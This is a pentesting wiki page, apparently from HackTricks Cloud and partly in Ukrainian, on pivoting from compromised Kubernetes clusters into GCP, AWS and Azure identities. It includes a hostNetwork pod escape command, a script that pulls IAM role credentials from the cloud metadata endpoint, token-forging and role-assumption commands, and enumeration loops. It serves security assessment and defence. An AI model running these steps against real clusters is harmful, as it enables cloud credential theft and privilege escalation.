Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md
T

22 KiB
Raw Blame History

Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

GCP

If you are running a k8s cluster inside GCP you will probably want that some application running inside the cluster has some access to GCP. There are 2 common ways of doing that:

Mounting GCP-SA keys as secret

A common way to give access to a kubernetes application to GCP is to:

  • Create a GCP Service Account
  • Bind on it the desired permissions
  • Download a json key of the created SA
  • Mount it as a secret inside the pod
  • Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.

Warning

Therefore, as an attacker, if you compromise a container inside a pod, you should check for that env variable and json files with GCP credentials.

Relating GSA json to KSA secret

A way to give access to a GSA to a GKE cluser is by binding them in this way:

  • Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
kubectl create serviceaccount <service-account-name>
  • Створіть Kubernetes Secret, який містить credentials GCP service account, якому ви хочете надати доступ до GKE cluster. Ви можете зробити це за допомогою gcloud command-line tool, як показано в такому прикладі:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Прив’яжіть Kubernetes Secret до Kubernetes service account за допомогою такої команди:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Warning

У другому кроці були встановлені credentials GSA як secret KSA. Тоді, якщо ти можеш прочитати цей secret зсередини GKE cluster, ти можеш ескалювати до цього GCP service account.

GKE Workload Identity

За допомогою Workload Identity ми можемо налаштувати Kubernetes service account так, щоб він діяв як Google service account. Pods, що працюють із Kubernetes service account, автоматично автентифікуватимуться як Google service account під час доступу до Google Cloud APIs.

Перший набір кроків для ввімкнення цієї поведінки — увімкнути Workload Identity у GCP (steps) і створити GCP SA, який ти хочеш, щоб k8s impersonate.

  • Enable Workload Identity on a new cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Створіть/оновіть новий nodepool (Autopilot clusters не потребують цього)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Створіть GCP Service Account to impersonate з K8s з GCP permissions:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Підключіться до кластеру та створіть service account, який буде використовуватися
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Прив’яжіть GSA до KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Запустіть pod з KSA і перевірте access до GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Перевірте таку команду, щоб аутентифікуватися, якщо потрібно:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Warning

As an attacker inside K8s you should search for SAs with the iam.gke.io/gcp-service-account annotation as that indicates that the SA can access something in GCP. Another option would be to try to abuse each KSA in the cluster and check if it has access.
From GCP is always interesting to enumerate the bindings and know which access are you giving to SAs inside Kubernetes.

Це скрипт, щоб легко ітеративно пройтися по всіх pod definitions у пошуку цієї annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Застарілий спосіб надавати IAM Roles Pods — це використовувати Kiam або Kube2IAM server. По суті, вам потрібно запустити daemonset у вашому кластері з типом privileged IAM role. Цей daemonset і буде тим, хто надаватиме доступ до IAM roles тим pods, які цього потребують.

Перш за все вам потрібно налаштувати які roles можуть бути доступні всередині namespace, і робиться це за допомогою annotation всередині об’єкта namespace:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Після того, як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете вказати потрібну role у визначенні кожного pod так:

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Warning

Як attacker, якщо ви знайдете ці annotations у pods або namespaces чи запущений kiam/kube2iam server (ймовірно в kube-system), ви можете impersonate кожну role, яка вже used by pods, і більше (якщо у вас є access до AWS account, enumerate the roles).

Create Pod with IAM Role

Note

IAM role, яку потрібно вказати, має бути в тому самому AWS account, що й role kiam/kube2iam, і ця role повинна мати змогу отримати до неї access.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Це рекомендований спосіб від AWS.

  1. Спочатку вам потрібно створити OIDC provider для кластера.
  2. Потім ви створюєте IAM role з permissions, які будуть потрібні SA.
  3. Створіть trust relationship між IAM role і назвою SA (або namespace'ами, надаючи доступ до role всім SA в namespace). Trust relationship головним чином перевірятиме назву OIDC provider, назву namespace і назву SA.
  4. Нарешті, створіть SA з annotation, що вказує ARN role, і pods, що працюють із цим SA, матимуть доступ до token role. Token записується у файл, а шлях до нього вказано в AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Щоб отримати aws, використовуючи token з /var/run/secrets/eks.amazonaws.com/serviceaccount/token, виконайте:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Warning

Як атакувальник, якщо ти можеш enumarate K8s cluster, перевір service accounts with that annotation to escalate to AWS. Для цього просто exec/create a pod using one of the IAM privileged service accounts and вкради token.

Moreover, if you are inside a pod, перевір env variables like AWS_ROLE_ARN and AWS_WEB_IDENTITY_TOKEN.

Caution

Іноді Turst Policy of a role може бути bad configured і замість надання AssumeRole access до очікуваного service account, вона надає його all the service accounts. Therefore, якщо ти можеш write an annotation on a controlled service account, ти можеш access the role.

Check the following page for more information:

{{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}}

Find Pods a SAs with IAM Roles in the Cluster

Це script, щоб легко iterate over the all the pods and sas definitions looking for that annotation:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role to cluster-admin

Попередній розділ був про те, як викрадати IAM Roles за допомогою pods, але майте на увазі, що Node K8s cluster — це буде instance всередині cloud. Це означає, що Node з великою ймовірністю матиме IAM role, яку ви можете вкрасти (note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node).

Щоб отримати доступ до metadata endpoint ноди, вам потрібно:

  • Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша misconfiguration, оскільки зазвичай різні pods у cluster потребуватимуть доступу до metadata endpoint, щоб не ламатися, і кілька компаній просто вирішують дозволити доступ до metadata endpoint з усіх pods у cluster.
  • Бути в pod з увімкненим hostNetwork.
  • Escape до node і отримати доступ до metadata endpoint напряму.

(Зверніть увагу, що metadata endpoint, як завжди, знаходиться на 169.254.169.254).

У новіших EKS environments перевіряйте node і cluster mode, перш ніж припускати, що pods можуть дістатися до node instance profile. Amazon Linux 2023 EKS optimized AMIs за замовчуванням встановлюють IMDS hop limit на 1, а EKS Auto Mode вмикає disablePodIMDS за замовчуванням, тож звичайні pods не повинні отримувати node-role credentials, якщо оператор не змінив ці налаштування або pod не має іншого node-level path, наприклад hostNetwork чи node compromise. Рекомендований підхід — заблокувати доступ pods до node IMDS і використовувати IRSA або EKS Pod Identity для AWS permissions workload.

Щоб escape to the node, ви можете використати таку команду, щоб запустити pod з увімкненим hostNetwork:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Викрасти IAM Role Token

Раніше ми обговорювали, як прикріпити IAM Roles до Pods або навіть як втекти на Node, щоб викрасти IAM Role, яку instance має до нього прикріплену.

Ви можете використати наступний скрипт, щоб викрасти ваші нові, важко здобуті IAM role credentials:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

У підсумку: якщо з pod можливо access the EKS Node IAM role, то можливо compromise the full kubernetes cluster.

For more info check this post. У підсумку, default IAM EKS role, яка призначається EKS nodes за замовчуванням, у cluster отримує роль system:node. Ця роль дуже цікава, хоча і обмежена kubernetes Node Restrictions.

Однак node завжди може generate tokens for service accounts running in pods inside the node. Тож якщо node запускає pod з privileged service account, node може згенерувати token для цього service account і використати його, щоб impersonate service account, як у:

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Azure / AKS

В AKS під час assessment тримайте три identity paths розділеними:

  • Azure to Kubernetes: Azure principals можуть отримувати user або admin kubeconfigs через Azure Resource Manager, якщо їхня Azure RBAC role це дозволяє. Local admin kubeconfigs з az aks get-credentials --admin є certificate-based credentials і можуть bypass звичайний Microsoft Entra user/group governance, якщо local accounts не disabled.
  • Microsoft Entra to Kubernetes: Entra-integrated clusters authenticate users, groups або service principals через kubelogin/exec kubeconfigs. Final Kubernetes action може бути authorized нативним Kubernetes RBAC або Azure RBAC for Kubernetes Authorization.
  • Kubernetes to Azure: Pods normally мають використовувати Microsoft Entra Workload ID, який exchange-ить projected Kubernetes service account tokens з Entra через AKS OIDC issuer і federated identity credentials.

Корисні AKS identity checks з Azure:

az aks show -g <resource-group> -n <cluster> \
--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \
-o yaml

AKS_ID=$(az aks show -g <resource-group> -n <cluster> --query id -o tsv)
az role assignment list --scope "$AKS_ID" --include-inherited -o table
az role assignment list --scope "$AKS_ID/namespaces/<namespace>" -o table

З Kubernetes, шукайте сигнали AKS Workload ID:

kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8
kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8

Відповідні поля Workload ID зазвичай такі:

metadata:
annotations:
azure.workload.identity/client-id: "<application-or-managed-identity-client-id>"
azure.workload.identity/tenant-id: "<tenant-id>"
---
metadata:
labels:
azure.workload.identity/use: "true"

Якщо кластер і далі використовує застарілу модель pod-managed identity від Microsoft Entra, шукайте старі CRD та компоненти NMI/MIC замість анотацій Workload ID:

kubectl get crd | grep -i azureidentity
kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null
kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity'

AKS nodes are Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at 169.254.169.254. Do not assume an ordinary pod should receive node managed identity credentials: verify workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, and node access first. If a node identity has broad Azure permissions, node compromise can become an Azure pivot even when application Workload ID is correctly scoped.

References

{{#include ../../banners/hacktricks-training.md}}